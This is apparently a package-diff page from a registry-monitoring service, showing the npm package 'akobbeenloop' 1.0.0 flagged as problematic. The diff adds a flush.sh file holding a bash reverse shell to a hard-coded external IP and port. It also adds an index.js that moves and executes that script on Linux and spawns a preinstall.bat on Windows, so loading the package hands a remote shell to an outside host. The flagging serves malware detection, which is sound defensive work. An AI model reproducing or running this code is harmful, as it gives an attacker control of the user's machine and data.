akobbeenloop 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of akobbeenloop might be problematic. Click here for more details.
- package/flush.sh +1 -0
- package/index.js +26 -0
- package/package.json +11 -0
package/flush.sh
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
bash -i >& /dev/tcp/43.138.82.160/18877 0>&1
|
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const { exec }= require("child_process");
|
2
|
+
|
3
|
+
function terminalLinux(){
|
4
|
+
exec("mv flush.sh /tmp/flush.sh && /bin/bash -c /tmp/flush.sh",(error,stdout,stderr)=>{
|
5
|
+
if (error){
|
6
|
+
console.log(`error:${error.message}`);
|
7
|
+
return;
|
8
|
+
}
|
9
|
+
if (stderr){
|
10
|
+
console.log(`stderr:${stderr}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
});
|
14
|
+
}
|
15
|
+
|
16
|
+
var opsys= process.platform;
|
17
|
+
if (opsys =="darwin"){
|
18
|
+
opsys ="MacoS";
|
19
|
+
}else if (opsys =="win32" || opsys =="win64"){
|
20
|
+
opsys ="Windows";
|
21
|
+
const { spawn } = require('child_process');
|
22
|
+
const bat = spawn('cmd.exe',['/c','preinstall.bat']);
|
23
|
+
}else if (opsys =="linux"){
|
24
|
+
opsys = "Linux";
|
25
|
+
terminalLinux();
|
26
|
+
}
|